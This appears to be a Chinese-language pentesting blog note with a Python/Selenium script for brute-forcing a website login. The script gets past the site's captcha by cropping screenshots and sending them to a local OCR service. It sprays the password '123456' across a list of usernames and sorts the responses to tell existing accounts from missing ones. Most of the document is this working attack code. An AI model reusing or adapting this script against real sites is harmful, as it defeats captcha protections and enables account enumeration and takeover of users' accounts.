目标站存在验证码,验证码与用户名关联;登录密码存在加密,加密方式未知(相同用户密码反复测试加密结果不一样);无法使用burp+验证码识别爆破;只能使用selenuim+验证码识别处理;
测试中发现几个密码、验证码、登录按钮没有常见的id/name/class名,
平时常用的find_element_by_id、find_element_by_name、find_element_by_class_name没法处理,
网上搜索了下:
可以使用css selector来查找对应元素:
如:
<input type="password" class="form-control input-lg ng-dirty ng-valid-parse ng-touched ng-not-empty ng-valid ng-valid-required" ng-model="loginInfo.password" placeholder="密码" autocomplete="off" required="" style="">
可直接使用browser.find_elements(“css selector”, “[placeholder^=’密码’] “)[0] 获取元素 ^为正则匹配
(网上有使用find_element_by_css_selector的 未尝试,https://oomake.com/question/2897854)
清空输入框内容:
elem.clear()
# coding=utf-8
import time
from selenium import webdriver
import sys
import ssl
import urllib2
import re
from PIL import Image
import cStringIO
import requests
reload(sys)
sys.setdefaultencoding("utf-8")
ssl._create_default_https_context = ssl._create_unverified_context
requests.packages.urllib3.disable_warnings()
def getall(html):
reg = r'<span ng-bind-html="error.msg" class="ng-binding">(.*?)</span>'
listre = re.compile(reg)
mylist = re.findall(listre, html.strip())
return mylist[0]
def getimg(html):
reg = r'<img class="imgVerify" src="(.*?)" alt="">'
listre = re.compile(reg)
mylist = re.findall(listre, html.strip())
print mylist
return mylist
def getvcode():
burp0_headers = {"User-Agent": "Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:56.0; Waterfox) Gecko/20100101 Firefox/56.2.5", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Connection": "close", "Upgrade-Insecure-Requests": "1"}
url = 'http://127.0.0.1:7779/api'
imgurl ='http://127.0.0.1/vcode_test/vcode.png'
request1 = urllib2.Request(imgurl,headers=burp0_headers)
response = urllib2.urlopen(request1)
imgtxt2 = response.read()
# print imgtxt2
imgtxt = cStringIO.StringIO(imgtxt2)
postdata = imgtxt
html = requests.post(url, data=postdata, timeout=20)
mynum = (html.text)
#print mynum
with open('Pic\\{}.{}'.format(str(mynum)+'-', 'jpg'), 'wb') as f:
f.write(str(imgtxt2))
return mynum
def getvcode_local(str,r,h):
url='http://127.0.0.1:7779/api'
img=Image.open('vcode.png')
imgtxt2=img.resize((int(r),int(h)),Image.BILINEAR)
print imgtxt2
imgtxt = cStringIO.StringIO(imgtxt2)
postdata=imgtxt
html=requests.post(url,data=postdata,timeout=5)
mynum=(html.text)
print mynum
def do_it_again(u,p):
#输入用户名
elem = browser.find_element_by_id("username")
elem.send_keys(u)
# 密码并输入
elem = browser.find_elements("css selector", "[placeholder^='密码'] ")
elem.send_keys(p)
elem=browser.find_element_by_class_name("imgVerify")
elem.click()
time.sleep(2)
#开始截图
browser.get_screenshot_as_file("china_zulin.png")
#开始在截图中抠图
elem=browser.find_element_by_class_name("imgVerify")
left = elem.location['x']
top = elem.location['y']
right = elem.location['x'] + elem.size['width']
bottom = elem.location['y'] + elem.size['height']
#print left, top, right, bottom
im = Image.open('china_zulin.png')
im = im.crop((int(left), int(top), int(right), int(bottom)))
im.save(r'D://phpStudy//PHPTutorial//WWW//vcode_test//vcode.png')
mcode=getvcode()
#输入验证码
elem = browser.find_elements("css selector", "[placeholder^='请输入验证码'] ")[0]
elem.send_keys(str(mcode))
#print 'code is ',u,p,mcode
#点击认证
elem = browser.find_elements("css selector", '[ng-click^="doLogin()"] ')[0]
elem.click()
time.sleep(3)
if getall(browser.page_source)=='账号不存在':
#清空用户/密码
print u,p,getall(browser.page_source)
elem = browser.find_element_by_id("username")
elem.clear()
#点击认证
elem = browser.find_elements("css selector", "[placeholder^='密码'] ")[0]
elem.clear()
elem = browser.find_elements("css selector", "[placeholder^='请输入验证码'] ")[0]
elem.clear()
else:
elem = browser.find_element_by_id("username")
elem.clear()
elem = browser.find_elements("css selector", "[placeholder^='密码'] ")[0]
elem.clear()
elem = browser.find_elements("css selector", "[placeholder^='请输入验证码'] ")[0]
elem.clear()
do_it_again(u,p)
return u,p,getall(browser.page_source)
def cusLogin():
browser.get('http://********/')
browser.implicitly_wait(15)
with open('china_user.txt', 'r') as fP:
for mstr in fP.readlines():
u = mstr.strip()
p = '123456'
do_it_again(u, p)
browser = webdriver.Chrome()
#
def main():
cusLogin()
#browser.quit()
if __name__ == '__main__':
main()
另外,执行过多selenuim时,将导致chromedriver.exe进程过多,无法进行,直接cmd下
taskkill /f /t /im chromedriver.exe